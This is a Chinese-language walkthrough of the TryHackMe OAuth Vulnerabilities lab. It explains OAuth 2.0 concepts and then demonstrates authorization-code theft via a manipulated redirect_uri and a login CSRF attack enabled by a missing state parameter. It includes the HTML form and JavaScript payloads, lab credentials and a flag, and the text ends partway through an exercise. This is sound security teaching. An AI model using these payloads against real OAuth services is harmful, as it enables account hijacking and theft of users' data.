【THM】OAuth Vulnerabilities(OAuth漏洞)-学习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/r/room/oauthvulnerabilities

本文相关内容:了解 OAuth 协议的工作原理并掌握关于它的漏洞利用技术。

image-20250112200203376

介绍

在现代Web应用程序中,OAuth漏洞是一个严重且经常容易被忽视的风险;当我们谈论OAuth时,我们通常指的是OAuth 2.0,它是一个常用的授权框架。当攻击者尝试利用OAuth 2.0中的缺陷时,就可能会遇到与其相关的漏洞,它们将允许CSRF、XSS、数据泄露以及其他OAuth漏洞的利用。

tips:OAuth的全称为Open Authorization(开放授权),此协议为用户资源的授权提供了一个安全、开放而又简易的标准。与以往的授权方式的不同之处是OAuth的授权不会使第三方触及到用户的账号信息(如用户名与密码),即第三方无需直接使用用户的用户名与密码就可以申请获得关于该用户资源的授权。

image-20250112205056127

学习目标

通过学习本文内容,你将全面了解以下关键概念:

  • OAuth 2.0的基本概念(授权许可类型);
  • OAuth 2.0 流程;
  • 识别OAuth服务;
  • 关于OAuth的漏洞利用技术;
  • OAuth 2.1的演变。

建议在开始学习本文之前先了解以下知识主题:

OAuth的关键概念

本小节将讨论如何理解OAuth的关键概念,特别是OAuth 2.0。这些概念构成了理解OAuth 2.0框架构建方式的基础。作为一名渗透测试人员或安全编码人员,理解这些概念对于网站渗透测试或者编写没有漏洞的代码至关重要。为了使这些概念更有关联性,我们在本文中将通过一个日常示例来解释它们:使用咖啡店的移动应用程序来订购咖啡并进行支付。

image-20250112211712471

OAuth 2.0是一个授权框架,使第三方客户端(Client)在获得资源所有者(Resource Owner)授权后,能够通过访问令牌(Access Token)有限地访问受保护资源(Protected Resource)。OAuth 2.0的核心角色包括:

  1. 资源所有者(Resource Owner):用户(拥有数据权限)。
  2. 客户端(Client):请求访问资源的应用(如网站、移动端)。
  3. 用户代理(User Agent):用户代理是用户参与互联网的工具,一般可以理解为Web浏览器。
  4. 授权服务器(Authorization Server):颁发访问令牌(如 Google、GitHub 的登录页面)。
  5. 资源服务器(Resource Server):托管受保护数据的服务(如用户邮箱、云存储)。

资源所有者(Resource Owner)

资源所有者是控制特定数据并可以授权应用程序代表其访问这些数据的个人系统。这个概念是至关重要的,因为它以用户同意和控制为中心。例如,你是咖啡店的一名客户,你是资源所有者:你可以控制你的账户信息,并可以授予咖啡店的移动应用程序访问你的数据的权限。

客户端(Client)

客户端可以是 移动应用服务器端Web应用程序 。它将充当一个中介,可以请求访问资源并能够执行资源所有者所允许的操作。例如,咖啡店的Web应用程序(用于订购咖啡并进行支付)是客户端,它需要得到你的授权才能访问你的账户详细信息和付款信息。

授权服务器(Authorization Server)

授权服务器负责在成功验证资源所有者并获得其授权之后向客户端颁发访问令牌。授权服务器在OAuth过程中起着至关重要的作用,它确保客户端只有在经过了合法的用户身份验证和同意之后才能被授予权限。例如,处理身份验证和授权的咖啡店后端系统就是一个授权服务器,它会验证你的凭据并授予Web应用访问你的账户的权限。

资源服务器(Resource Server)

这个服务器将托管受保护的资源并且可以使用访问令牌接受并响应关于受保护资源的请求。该服务器将确保只有经过身份验证和授权的客户端才能访问或操作资源所有者的数据。例如,咖啡店的数据库是资源服务器,其中存储了你的账户信息、订单历史记录和付款详情等数据。它可以响应来自Web应用程序的请求,并允许其检索和修改你的数据。

授权许可(Authorization Grant)

客户端可以使用代表资源所有者的授权(访问其受保护资源)的凭据来获取访问令牌。

主要的授权许可类型包括Authorization Code(授权码)、Implicit(隐式)、 Resource Owner Password Credentials(资源所有者密码凭据)以及Client Credentials(客户端凭据)。例如,当你首次登录到咖啡店的应用程序时,你将获得一个授权许可(例如输入你的用户名和密码)。应用程序可以使用该授权许可从授权服务器处获得一个访问令牌。我们将在下一小节中详细讨论这一点。

访问令牌(Access Token)

访问令牌是客户端可以用来代表资源所有者访问受保护资源的一个凭据。它的生命周期和scope(范围/作用域)有限。访问令牌对于维护客户端和资源服务器之间的安全和受保护的通信而无需重复向资源所有者请求凭据至关重要。例如,一旦你登录到咖啡店的应用程序,它就会收到一个访问令牌,该令牌允许应用程序访问你的账户以便下订单和付款,而无需你在特定时间内再次进行登录。

image-20250112211738586

刷新令牌(Refresh Token)

刷新令牌是客户端可以用来获取新的访问令牌而无需资源所有者重新进行身份验证的一个凭据。刷新令牌通常具有长期的有效期,并且提供了一种维护用户会话的方法,以避免发生频繁的登录中断。例如,当你的访问令牌过期时,Web应用程序可以使用刷新令牌来获取新的访问令牌,这样你就不需要再次进行登录。

重定向URI

授权服务器在授权被许可或拒绝后,会将资源所有者的用户代理重定向到一个URI。此URI将被用于检查请求授权响应的客户端是否正确。例如,在与咖啡店应用程序交互并进行登录后,你将被咖啡店应用程序中的应用页面重定向到授权服务器(通常被称为重定向URI),以确认你已成功登录。

tips:URI(Uniform Resource Identifier),即统一资源标识符,用于唯一标识某个资源的字符串,包含URL和URN两种形式。其中URL主要用于定位和访问资源,在需要明确资源定位时通常会使用URL,"协议+路径(如https://)";URN则用于命名资源,"永久名称(如urn:isbn:0451450523)"。

权限范围(Scope)

Scope是一种限制应用程序访问用户账户的机制。它们允许客户端指定所需的访问级别,并允许授权服务器告知用户应用程序正在请求的访问级别。Scope有助于强制执行 principle of least privilege(最小权限原则) 。例如,咖啡店的应用程序可能会请求不同的Scope,比如访问你的订单历史记录和付款详情。作为资源所有者,你可以查看应用程序在请求访问哪些信息,并授予权限或拒绝权限。

state参数

state是一个可选参数,可用于维护客户端和授权服务器之间的状态(state)。它可以通过确保响应与客户端的请求匹配来帮助防止CSRF攻击。state参数是保护OAuth流程的关键部分。例如,当你启动登录流程时,咖啡店的应用程序会向授权服务器发送一个state参数。此参数有助于确保你收到的响应与你的原始请求相关联,从而能够防范某些类型的攻击。

令牌和授权端点(Token & Authorization Endpoint)

令牌端点,即授权服务器的端点,是客户端将授权许可(或刷新令牌)交换为访问令牌的地方;而授权端点则是资源所有者进行身份验证并授权客户端访问受保护资源的地方。

通过熟悉上述这些主题,你将轻松地了解即将到来的示例练习中的漏洞利用技术和相关漏洞。

tips:Endpoint(即端点),是逻辑服务入口。在分布式系统中,端点是一个网络可访问的特定地址(URI),用于提供标准化服务入口。

答题

哪个(可选)参数可用于防止CSRF攻击?

state

客户端可以使用什么凭据来代表资源所有者访问受保护的资源?

Access Token

image-20250604183846210

OAuth授权许可类型

OAuth 2.0提供了多种授权许可类型,以适应各种场景和客户端类型。这些授权许可类型定义了应用程序如何获取访问令牌,以代表资源所有者访问受保护的资源。在本小节中,我们将讨论四种主要的OAuth 2.0授权许可类型。

授权码许可

授权码许可(Authorization Code grant)是最常用的OAuth 2.0流程,适用于服务器端应用程序(如PHP,JAVA,.NET等)。在此流程中,客户端将用户重定向到授权服务器,用户在此进行身份验证并许可授权。然后,授权服务器将用户重定向到带有授权码的客户端。客户端通过请求授权服务器的令牌端点来将授权码交换为访问令牌。

image-20250112211829056

这种授权许可类型以其被增强的安全性而闻名,因为授权码是通过server-to-server通信被交换为访问令牌的,这意味着访问令牌不会被暴露给用户代理(例如浏览器),从而降低了令牌泄漏的风险。它还支持使用刷新令牌来维持长期访问,而无需重复进行用户身份验证。

隐式授权许可

隐式授权许可(Implicit grant)主要是针对客户端无法安全地存储机密信息的移动和Web应用而设计的。它直接向客户端颁发访问令牌,而无需进行授权码交换。在此流程中,客户端会将用户重定向到授权服务器。在用户完成身份验证并许可授权之后,授权服务器会在URL片段中返回访问令牌。完整流程如下所示:

image-20250112211844858

此授权许可类型经过了简化(因此又称简化授权模式),适用于无法安全存储机密信息的客户端。它比授权码授权许可速度更快,因为它涉及的步骤更少。然而,由于访问令牌会被暴露给用户代理,并可能会被记录在浏览器的历史记录中,因此它的安全性也较低。此外,此授权许可类型也不支持刷新令牌(refresh tokens)

资源所有者密码凭据许可

当客户端受到资源所有者高度信任时,可以选择使用资源所有者密码凭据授权许可,例如第一方应用程序。客户端会直接收集用户的凭据(用户名和密码),并将其交换为访问令牌,如下所示:

image-20250112211858982

在此流程中,用户会直接向客户端提供其凭据。然后,客户端将凭据发送到授权服务器,授权服务器验证凭据并颁发访问令牌。此授权许可类型是直接授权,需要的交互较少,因此适用于用户有信心提供其凭据的高度可信的应用程序。但是,由于它涉及直接与客户端共享凭据,因此安全性较低,并且不适用于第三方应用程序。

tips:Resource Owner Password Credentials Grant(资源所有者密码凭据许可)。

客户端凭据许可

客户端凭据授权许可(Client Credentials grant)用于无需用户参与的服务器之间的交互。客户端可以使用其凭据向授权服务器进行身份验证并获取访问令牌。在此流程中,客户端会使用其客户端凭据(客户端ID和密钥)向授权服务器进行身份验证,然后授权服务器将直接向客户端颁发访问令牌,如下所示:

image-20250112211911946

此授权类型适用于后端服务以及从服务器到服务器(server-to-server)的通信,由于它不涉及用户凭据,因此可以降低与用户数据暴露相关的安全风险。

在下一个小节中,我们将展示OAuth流程在Web应用程序中的工作方式。

答题

服务器与服务器之间的交互通常会使用什么授权许可类型?

Client Credentials Grant 客户端凭据许可

image-20250604214713060

OAuth流程的工作原理

OAuth 2.0流程始于用户(资源所有者)与客户端应用程序(客户端)交互并请求访问特定资源时。客户端会将用户重定向到授权服务器,并提示用户登录以及是否授予访问权限。如果用户同意,授权服务器将发出授权码,客户端可以将其交换为访问令牌。此访问令牌允许客户端访问资源服务器并代表用户检索所请求的资源。

image-20250112212025020

OAuth的关键流程(以授权码模式为例):

  1. 用户通过客户端发起授权请求;
  2. 用户被重定向到授权服务器进行身份认证并许可授权;
  3. 授权服务器返回授权码(Authorization Code);
  4. 客户端用授权码换取访问令牌(Access Token);
  5. 客户端携带访问令牌去访问资源服务器。

我们将基于相同的CoffeeShopApp示例详细讨论 OAuth 工作流程的各个步骤。

部署实验环境

在与本文相关的TryHackMe实验房间页面中,你可以通过单击此小节所附带的Start Machine按钮来启动实验虚拟机。请在系统完全引导后等待1-2分钟,以使自动脚本成功运行。

image-20250112212039765

我们将使用定制版的Django OAuth工具包作为OAuth提供程序。请务必理解,下文内容中所使用的“OAuth provider(OAuth提供程序)”一词,指的是我们想要集成/认证的第三方OAuth提供程序。例如,在Login with FactBook中,FactBook就是OAuth提供程序。此外,在本文的各个小节的内容中,我们的OAuth提供程序将保持不变(CoffeeShopApp);然而,客户端(我们想要集成的应用程序)可能会在本文的各小节中发生一些变化。

你可以访问URL http://coffee.thm:8000/admin 来查看OAuth提供程序的登录面板,该面板将在本文的各个小节的示例中保持不变。

image-20250112212049412

我们将在本文中为这个OAuth提供程序使用以下凭据:

  • Victim(受害者): victim:victim123
  • Attacker(攻击者): attacker:tesla@123

注意:在此阶段(本小节)你不需要登录,但在本文内容的稍后阶段,你可以使用上述任一凭据进行登录。

一旦登录到你的OAuth提供程序之后,你就可以登录任何其他网站,就像你在X、Facebook或任何其他网站上执行Sign Up with Google(使用谷歌进行注册)操作一样。

现在访问URLhttp://bistro.thm:8000,我们将用它来理解OAuth的工作流程。我们假设有一个名为Tom的用户(你可以为他使用上述任一凭据),Tom想使用他自己的CoffeeShopApp账户登录到另一个网站应用程序。

授权请求

Tom首先访问了小酒馆的URL http://bistro.thm:8000/oauthdemo ,然后,他想通过CoffeeShopApp登录。当他点击Login via OAuth(通过OAuth登录)时,CoffeeShopApp必须首先获得他的授权许可,因此应用程序会将Tom的浏览器重定向到授权服务器,并发出授权请求。

image-20250112212100926

点击Login with OAuth,你将被重定向到授权服务器,URL为 http://coffee.thm:8000/accounts/login/?next=/o/authorize/%3Fclient_id%3Dzlurq9lseKqvHabNqOc2DkjChC000QJPQ0JvNoBt%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//bistro.thm%3A8000/oauthdemo/callback ,如下所示:

image-20250112212114754

小酒馆网站通过将Tom重定向到授权服务器来启动此过程,并在URL中包含了以下参数:

  • response_type=code:这表明CoffeeShopApp正在期望返回一个授权码。

  • state:CSRF令牌,用于确保请求和响应是同一业务(transaction)的一部分。

  • client_id:客户端应用程序的公共标识符,唯一标识CoffeeShopApp

  • redirect_uri:授权服务器会在Tom授予权限之后将他发送到此URL,这必须与客户端应用程序的一个预注册重定向URI相匹配。

  • scope:指定请求的访问级别,例如查看咖啡订单。

通过包含这些参数,小酒馆应用程序可以确保授权服务器理解被请求的内容以及之后将用户发送到何处。以下是将用户重定向到授权服务器的Python代码:

def oauth_login(request):
    app = Application.objects.get(name="CoffeeApp")
    redirect_uri = request.GET.get("redirect_uri", "http://bistro.thm:8000/oauthdemo/callback")
    
    authorization_url = (
        f"http://coffee.thm:8000/o/authorize/?client_id={app.client_id}&response_type=code&redirect_uri={redirect_uri}"
    )
    return redirect(authorization_url)

身份验证与授权

当Tom到达授权服务器时,系统会提示他使用自己的凭据登录。这一步将确保服务器能够验证他的身份。成功登录后,授权服务器会询问Tom是否同意授予小酒馆应用程序访问他的个人资料详情的权限。这个同意步骤至关重要,因为它使Tom能够透明地控制哪些应用程序可以访问他的数据。

该过程通常涉及:

  • User Login(用户登录):Tom在授权服务器的登录页面上输入他的用户名和密码。

  • Consent Prompt(同意提示):在经过身份验证之后,授权服务器会向Tom呈现一个同意屏幕,这里会详细说明CoffeeShopApp所请求的访问权限(例如,查看用户的咖啡订单等)。Tom必须决定是授予还是拒绝这些权限。

    image-20250112212135380

此双步骤流程可以确保在授予任何访问权限之前先验证Tom的身份并且获得他的明确授权同意,从而维护个人数据的安全性以及相关的用户控制权限。

授权响应

如果Tom同意授予访问权限,授权服务器将生成一个授权码(authorization code),然后该服务器会使用指定的redirect_uri将Tom重定向到小酒馆网站。这个重定向URI会包含授权码和原始state参数,以确保流程的完整性。

授权服务器的响应如下:

  • codeCoffeeShopApp将会使用授权码来请求访问令牌。

  • stateCoffeeShopApp之前发送的用于验证响应的CSRF令牌。

授权响应的一个示例可以是: https://bistro.thm:8000/callback?code=AuthCode123456&state=xyzSecure123

此步骤可以确保授权过程安全,并会将响应与小酒馆的初始请求相关联。授权码是一个临时令牌,将在下一步中用于获取访问令牌,从而允许CoffeeShopApp访问Tom的个人资料详情。

令牌请求

小酒馆网站将会通过使用包含以下参数的 POST 请求来请求授权服务器的令牌端点,以将授权码交换为访问令牌:

  • grant_type:表示正在使用的授权许可类型,通常会设置为code,以指定使用授权码授权许可。

  • code:从授权服务器接收到的授权码。

  • redirect_uri:这必须与授权请求中所提供的原始重定向URI相匹配。

  • client_idclient_secret:用于验证客户端应用程序的凭据。

使用上述参数,以下代码将向/o/token端点发出令牌请求。

token_url = "http://coffee.thm:8000/o/token/"
    client_id = Application.objects.get(name="CoffeeApp").client_id
    client_secret = Application.objects.get(name="CoffeeApp").client_secret
    redirect_uri = request.GET.get("redirect_uri", "http://bistro.thm:8000/oauthdemo/callback")
    
    data = {
        "grant_type": "authorization_code",
        "code": code,
        "redirect_uri": redirect_uri,
        "client_id": client_id,
        "client_secret": client_secret,
    }
    
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authorization': f'Basic {base64.b64encode(f"{client_id}:{client_secret}".encode()).decode()}',
    }
    
    response = requests.post(token_url, data=data, headers=headers)
    tokens = response.json()

小酒馆应用可以通过发送此请求安全地将授权码交换为访问令牌。授权服务器将验证所提供的信息,确保请求有效且源自请求授权码的客户端。如果一切正确,则授权服务器将返回访问令牌作为响应,从而允许小酒馆网站继续访问 Tom 的个人资料详情。

令牌响应

授权服务器对小酒馆网站进行身份验证并验证授权码。验证成功后,该服务器将返回Access TokenRefresh Token(可选)作为响应。

授权服务器的响应包括以下内容:

  • access_token:访问令牌,用于访问Tom的个人资料详情的令牌。

  • token_type:通常为“Bearer”。

  • expires_in:访问令牌的有效时间(秒)。

  • refresh_token (optional):刷新令牌,它被用于获取新的访问令牌,而无需用户再次登录。

有了访问令牌,酒馆网站现在可以验证针对资源服务器的访问请求,以访问Tom的个人资料详情。可选的刷新令牌可被用于在当前访问令牌过期后请求新的访问令牌,从而避免Tom重复登录,进而能够提供无缝的用户体验。

这个小酒馆网站已经使用访问令牌完成了完整的OAuth 2.0授权工作流程。此令牌是一种凭据,允许应用程序代表Tom去访问受保护的资源。现在,此小酒馆网站可以向资源服务器发出经过身份验证的请求,以检索Tom的个人资料。每个发送到资源服务器的请求都会在授权标头中包含访问令牌 ,以确保服务器能够识别并允许访问。

答题

阅读本小节内容并回答以下问题。

当我们启动示例的OAuth 2.0工作流程后,cliend_id的值是多少?(从MHT Bistro开始重定向后,你可能需要对完整的登录URL进行URL解码处理,以便更清楚地查看具体的值)

tips:此处无需我们进行实际的登录。

#查看本小节的示例的内容。
#或者在实验虚拟机上:访问小酒馆 http://bistro.thm:8000/oauthdemo ,然后点击Login via OAuth,就会被重定向到授权服务器,查看此时的相关URL:
http://coffee.thm:8000/accounts/login/?next=/o/authorize/%3Fclient_id%3Dzlurq9lseKqvHabNqOc2DkjChC000QJPQ0JvNoBt%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//bistro.thm%3A8000/oauthdemo/callback

image-20250606123203717

image-20250606124045137

对上面完整的登录URL进行URL解码处理也可以得到我们想要的值:

http://www.hiencode.com/url.html

image-20250604233723098

#完成URL解码之后的与登录页面相关的URL:
http://coffee.thm:8000/accounts/login/?next=/o/authorize/?client_id=zlurq9lseKqvHabNqOc2DkjChC000QJPQ0JvNoBt&response_type=code&redirect_uri=http://bistro.thm:8000/oauthdemo/callback

zlurq9lseKqvHabNqOc2DkjChC000QJPQ0JvNoBt

什么参数决定了令牌响应中令牌的时间有效性?

expires_in

image-20250604233945986

识别OAuth服务

识别应用程序中的OAuth用例

image-20250112212229879

应用程序使用OAuth的第一个迹象通常出现在登录过程中。请查找允许用户使用外部服务提供商(例如 Google、Facebook 和 GitHub)登录的选项。这些选项通常会将用户重定向到服务提供商的授权页面,这强烈表明了该应用程序正在使用OAuth。

检测OAuth的实现

在分析登录过程中的网络流量时,请注意是否存在HTTP重定向。OAuth在实现时,通常会将浏览器重定向到一个授权服务器的URL。此URL通常包含了特定的查询参数,例如response_typeclient_idredirect_uriscopestate等。这些参数可以指示正在进行的OAuth流程。

例如,授权服务器提供的URL可能看起来像下面这样:

https://dev.coffee.thm/authorize?response_type=code&client_id=AppClientID&redirect_uri=https://dev.coffee.thm/callback&scope=profile&state=xyzSecure123

识别OAuth框架

一旦确认了正在使用OAuth,下一步就是识别应用程序所使用的具体OAuth框架或库。这可以帮助你洞察潜在的漏洞并进行适当的安全评估。

以下是一些用于识别OAuth框架的策略:

  • HTTP标头和响应:检查HTTP标头和响应正文中是否有引用特定OAuth库或框架的唯一标识符或注释。

  • 源代码分析:如果你可以访问应用程序的源代码,请搜索可以揭示其所用框架的特定关键字和导入(import)语句。例如,像django-oauth-toolkitoauthlibspring-security-oauthNode.js中的passport这样的库,每个库都具有独特的特性和命名约定。

  • 授权端点和令牌端点:分析用于获取授权码和访问令牌的端点。不同的OAuth实现可能具有独特的端点模式或结构。例如,Django OAuth Toolkit通常遵循/oauth/authorize//oauth/token/这样的端点模式,而其他框架可能会使用不同的路径。

  • 错误消息:自定义错误消息和调试输出可能会无意中泄露底层技术堆栈,一些详细的错误消息可能包含了对特定OAuth库或框架的引用。

答题

在URL http://coffee.thm:8000/ 中实现Oauth所用的工具包的名称是什么?

django-oauth-toolkit ,在上一个小节的内容中有所提及

image-20250605000357455

利用OAuth - 窃取OAuth令牌

令牌在OAuth 2.0框架中起着至关重要的作用,它可以充当授予针对受保护资源的访问权限的数字密钥。这些令牌由授权服务器颁发,并根据redirect_uri参数重定向到客户端应用程序。这种重定向在OAuth流程中至关重要,确保了令牌安全地传输到预期的接收者。但是,如果redirect_uri没有得到很好的保护,那么攻击者就可以利用它来劫持令牌。

Redirect_URI的作用

redirect_uri参数是在OAuth流程中指定的,用于指示授权服务器在授权完成后应该将令牌发送到何处。此URI必须在应用程序设置中预先注册,以防止出现开放重定向漏洞。在OAuth过程中,服务器会检查被提供的redirect_uri是否与已注册的URI之一相匹配。

存在的漏洞

不安全的redirect_uri可能会导致严重的安全问题。如果攻击者获得了对redirect_uri中列出的任何域或URI的控制,他们就可以操纵OAuth流程来拦截令牌。以下是该漏洞的利用示例:

  • 假设存在一个OAuth应用程序,它具有以下已注册的重定向URI,如下所示:

    image-20250112212315101

  • 攻击者的策略:如果攻击者获得了对dev.bistro.thm的控制,他们就可以恶意利用OAuth流程。通过将redirect_uri设置为 http://dev.bistro.thm/callback ,授权服务器会将令牌发送到这个受控域。

  • 精心设计的攻击:攻击者发起OAuth流程,并确保让redirect_uri指向他们已经控制的域。这样,在用户授权应用程序后,令牌将会被发送到 http://dev.bistro.thm/callback 。攻击者现在可以捕获此令牌并使用它来访问受保护的资源。

准备有效载荷

在开始练习之前,请确保你访问了 http://coffee.thm:8000/admin/logout 并以受害者身份从OAuth提供程序中注销。

在本练习中,我们假设攻击者已经攻陷了域dev.bistro.thm:8002,并且可以在此服务器上托管任何HTML页面。假设Tom是受害者,我们将向他发送一个链接。攻击者可以使用以下代码创建一个简单的HTML页面(redirect_uri.html):

     <form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get">
            <input type="hidden" name="redirect_uri" value="http://dev.bistro.thm:8002/malicious_redirect.html">
            <input type="submit" value="Login via OAuth + Hijack OAuth">
        </form>

该表单会包含一个隐藏的redirect_uri参数,其值为http://dev.bistro.thm:8002/malicious_redirect.html ,并可向 http://coffee.thm:8000/oauthdemo/oauth_login/ 提交一个请求。malicious_redirect.html页面将使用以下代码从URL中截取授权码:

<script>
            // Extract the authorization code from the URL
            const urlParams = new URLSearchParams(window.location.search);
            const code = urlParams.get('code');
            document.getElementById('auth_code').innerText = code;
            console.log("Intercepted Authorization Code:", code);
            // code to save the acquired code in database/file etc
        </script>

注意:因为攻击者完全控制了该子域,所以一旦受害者被重定向到这个由攻击者所控制的域,攻击者就可以将相关凭据保存在数据库/文件等地方,并供以后使用。此外,从redirect_uri到原始URL的重定向会非常快,以至于受害者可能根本不知道他的授权码已经被劫持。

攻击者可以通过社会工程策略或CSRF(跨站请求伪造)攻击向Tom发送链接( http://dev.bistro.thm:8002/redirect_uri.html )。受害者毫无戒心地点击了该链接,并跳转到URL dev.bistro.thm:8002/redirect_uri.html 。在实验虚拟机中,我们可以以受害者身份在浏览器中打开此链接。最后,我们将会看到如下所示的屏幕内容:

image-20250112212402273

在实验虚拟机中,当受害者单击了“Login via OAuth“按钮时,上文提及的表单将调用 http://coffee.thm:8000/oauthdemo/oauth_login/,并且还会使用被伪造的redirect_uri。这样一旦受害者向OAuth提供程序输入了他的凭据(victim:victim123),那么生成的OAuth授权码就会指向由攻击者所控制的URL( http://dev.bistro.thm:8002/malicious_redirect.html ),从而允许攻击者拦截和滥用授权码,如下所示:

image-20250112212413942

攻击者视角

在攻击者的机器上,攻击者可以利用截获的授权码来调用/callback端点,并将授权码交换为有效的访问令牌。由上文可知,在OAuth流程中,/callback端点始终可用,它可接受code参数并返回访问令牌。通过使用此访问令牌,攻击者可以获得对用户的受保护资源的未授权访问。

对本小节的练习示例,要获取访问令牌以及flag,我们可访问URL http://bistro.thm:8000/oauthdemo/callbackforflag/?code=xxxx 并将code参数替换为攻击者所获取到的授权码。

image-20250112212425600

答题

问题:获取访问令牌后可以看到的 flag 值是什么?

部署实验环境(参考第四小节)。

在开始练习之前,确保在实验虚拟机中已经访问了 http://coffee.thm:8000/admin/logout 并以受害者身份从OAuth提供程序中注销。

在实验虚拟机中,以受害者身份在浏览器中访问链接 http://dev.bistro.thm:8002/redirect_uri.html ,然后单击“Login via OAuth“按钮,并在跳转之后的页面中输入凭据victim:victim123。这将为我们拦截到一个授权码。

image-20250606112940649

image-20250606113042221

image-20250606113119053

image-20250606113136704

#截获到的授权码
JmAAgFsocV81FFFELBnbdNc6tiizn3

获得授权码之后,继续访问:

 #使用获取的授权码填充code的值
 #http://bistro.thm:8000/oauthdemo/callbackforflag/?code=xxxx
 http://bistro.thm:8000/oauthdemo/callbackforflag/?code=JmAAgFsocV81FFFELBnbdNc6tiizn3

image-20250606113245539

THM{GOT_THE_TOKEN007} 。

image-20250606113321894

利用OAuth - OAuth中的CSRF

OAuth 2.0框架中的state参数可以防御CSRF攻击,CSRF攻击是指攻击者诱骗用户在当前已经经过身份验证的Web应用程序上执行不需要的(有害的)操作。在OAuth的上下文环境中,CSRF攻击可以通过劫持OAuth流程来导致对敏感资源的未授权访问,而state参数可以通过维护授权过程的完整性来帮助降低此安全风险。

弱state参数或缺失state参数的漏洞

state参数是客户端应用程序在授权请求中包含的任意字符串。当授权服务器将用户重定向回客户端应用程序并返回授权码时,也会同时包含state参数。然后,客户端应用程序会验证响应中的state参数是否与它最初发送的state参数相匹配。此验证可以确保响应不是CSRF攻击的结果,而是OAuth流程的合法延续。

假设现在有一个OAuth实现,其中的state参数是缺失可预测的(例如像“state”这样的静态值或者一个简单的序列号)。攻击者可以发起OAuth流程并提供他们的恶意重定向URI。在用户对应用程序进行身份验证和授权之后,授权服务器就会将授权码重定向到攻击者所控制的URI(由弱或缺失的state参数指定)。

练习示例

在本练习中,我们将探讨OAuth授权过程中缺少state参数会如何导致CSRF攻击。你需要使用AttackBox从攻击者和受害者的角度来理解攻击。在这里,我们将使用应用程序mycontacs.thm:8080,该应用允许你从任何平台同步联系人。

在开始练习之前,请确保你已访问链接 http://coffee.thm:8000/admin/logout 并以受害者身份注销了OAuth提供程序。

在与本文相关的实验房间页面点击Start AttackBox按钮以启动AttackBox。该攻击机将在分屏视图中启动。如果此攻击机的界面不可见,请继续在实验房间页面点击顶部的蓝色Show Split View 按钮。

在攻击机上,你还需要将mycontacts.thmcoffee.thm添加到系统的/etc/hosts文件中才能顺利完成下文的相关练习示例。

攻击者视角

首先,在AttackBox中访问链接 http://mycontacts.thm:8080/csrf/index.php以打开网站示例,登录凭据为attacker:attacker。完成登录后,你将看到一个页面,此页面允许你将联系人同步到CoffeeShopApp。账户同步完成后,客户端应用程序中的所有当前账户都将转移到CoffeeShopApp账户。

image-20250112212821972

如果你点击“Sync Contacts-同步联系人”按钮,你将被重定向到一个OAuth授权服务器,相关的URL为 http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http%3A%2F%2Fcoffee.thm%2Fcsrf%2Fcallbackcsrf.php

你可以注意到此授权URL中缺少了state参数,这表明我们可以使用相同的请求进行CSRF攻击。在这里,你不需要同步你的实际账户。让我们利用此漏洞将攻击者的第三方账户与受害者账户相关联

进行漏洞利用

如果没有state参数,那么授权过程将很容易受到CSRF攻击的影响。攻击者可以通过获取受害者的授权码并将其发送给攻击者来利用此漏洞。授权服务器无法确定授权码是属于攻击者还是受害者,也无法确定请求是来自攻击者还是受害者。

准备有效载荷

为了准备有效载荷,攻击者必须先获取他自己的授权码。这可以通过使用Burp Suite或者其他网络拦截工具拦截授权过程来完成。为了方便练习,我们可以直接访问链接 http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http://coffee.thm:8000/oauthdemo/callbackforcsrf/ ,它允许我们在不完成OAuth流程的情况下获取授权码。与该流程相关的代码如下所示:

def oauth_logincsrf(request):
    app = Application.objects.get(name="ContactApp")
    redirect_uri = request.POST.get("redirect_uri", "http://coffee.thm/csrf/callbackcsrf.php") 
    
    authorization_url = (
        f"http://coffee.thm:8000/o/authorize/?client_id={app.client_id}&response_type=code&redirect_uri={redirect_uri}"
    )
    return redirect(authorization_url)

def oauth_callbackflagcsrf(request):
    code = request.GET.get("code")
    
    if not code:
        return JsonResponse({'error': 'missing_code', 'details': 'Missing code parameter.'}, status=400) 

    if code:
        return JsonResponse({'code': code, 'Payload': 'http://coffee.thm/csrf/callbackcsrf.php?code='+code}, status=400) 

一旦我们访问上文所提供的链接(上文中,我们点击“Sync Contacts-同步联系人“按钮之后被重定向到的URL)并使用凭据 attacker:tesla@123 来尝试获取授权码,那么我们将在访问访问链接 http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http://coffee.thm:8000/oauthdemo/callbackforcsrf/ 并进行授权之后,成功获得以下响应:

image-20250112212854152

上面的授权码将允许任何人获取访问令牌。响应中的URL参数是我们需要发送给受害者的实际有效载荷。先复制这个Payload值,我们将在发起攻击时使用它。

发起攻击

  • 一旦攻击者获得授权码,他就可以准备CSRF有效载荷。假设攻击者向受害者发送了一封电子邮件,其中包含了类似于 http://bistro.thm:8080/csrf/callbackcsrf.php?code=xxxx 的链接。

  • 在收到邮件后,如果受害者点击了邮件里面的链接或者在浏览器中执行了链接(链接中的xxx是攻击者的授权码),那么攻击者的CoffeeShopAppOAuth账户就会与受害者的账户相关联。这实际上会将所有联系人从受害者的账户转移到攻击者的账户。

受害者视角

  • 在实验虚拟机中,为了以受害者身份进行实际测试,请使用凭据victim:victim登录到 http://bistro.thm:8080/csrf/ 上的客户端应用程序。由于授权码是唯一的。因此为了完成练习,请将攻击者的漏洞利用载荷(链接: http://bistro.thm:8080/csrf/callbackcsrf.php?code=xxxx )直接粘贴到实验虚拟机上的浏览器地址栏中执行。

  • 如上所述,发送给受害者的确切链接是在准备有效载荷过程中接收到的URL参数。一旦执行,授权码将会调用以获取访问令牌,并向攻击者的账户发送联系人/消息。

image-20250112212904858

答题

问题:将攻击者的账户与受害者的账户关联起来后,可以发现flag的值是多少?

确保在实验虚拟机中已经访问了链接 http://coffee.thm:8000/admin/logout 并以受害者身份注销了OAuth提供程序。

在攻击机上将mycontacts.thmcoffee.thm添加到系统的/etc/hosts文件中。

image-20250606114345443

在AttackBox中访问链接 http://mycontacts.thm:8080/csrf/index.php以打开网站示例,使用凭据attacker:attacker登录。

image-20250606114502320

image-20250606114526108

登录后,点击“Sync Contacts-同步联系人”按钮,我们将重定向到一个页面:

image-20250606114758607

